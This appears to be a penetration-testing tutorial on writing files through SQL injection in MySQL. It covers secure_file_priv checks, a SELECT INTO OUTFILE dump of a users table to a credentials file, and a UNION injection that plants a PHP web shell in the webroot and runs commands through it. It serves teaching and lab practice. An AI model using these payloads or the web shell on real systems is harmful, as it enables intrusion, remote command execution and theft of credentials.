In modern DBMSes, writing to files in the back-end server is more restricted.

Write File Privileges

Let’s first check whether we have right to write file.

To be able to write files in MySQL, we need three things:

  • User with FILE privilege enabled
  • MySQL global secure_file_priv variable disabled
  • Write access to the location we want to write to on the back-end server

secure_file_priv

secure_file_priv is used to determine where to read/write files from.

  • Empty means we can read files from the entire file system.
  • If a directory is set inside secure_file_priv, we can only read from specified folder.
  • NULL means we can’t read/write from any directory.

MariaDB - variable set as empty by default.

MySQL - /var/lib/mysql-files is set as the default folder.

Modern SQLs - default set as NULL.

Let’s check out the value of secure_file_priv:

SHOW VARIABLES LIKE 'secure_file_priv';

To use it with UNION:

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

Another example:

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

SELECT INTO OUTFILE

Now let’s assume we have confirmed that our user can write files to the back-end server.

SELECT INTO OUTFILE can be used to write data from select queries into files.

e.g - save the out of the users table into /tmp/credentials:

SELECT * from users INTO OUTFILE '/tmp/credentials';

e.g - write arbitrary files to the back-end server:

SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';

Write Files through SQLi

Let’s try writing a file to the webroot:

select 'file written successfully!' into outfile '/var/www/html/proof.txt'

With UNION injection it should look like such:

cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -

Now if we go to http://server:port/proof.txt, we will see the message file written successfully!.

Web Shell

Let’s write a PHP web shell to the webroot folder.

We can write the following PHP webshell:

<?php system($_REQUEST[0]); ?>

With UNION injection, it should look like this:

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

Now we can execute commands as such:

http://server:port/shell.php?0=whoami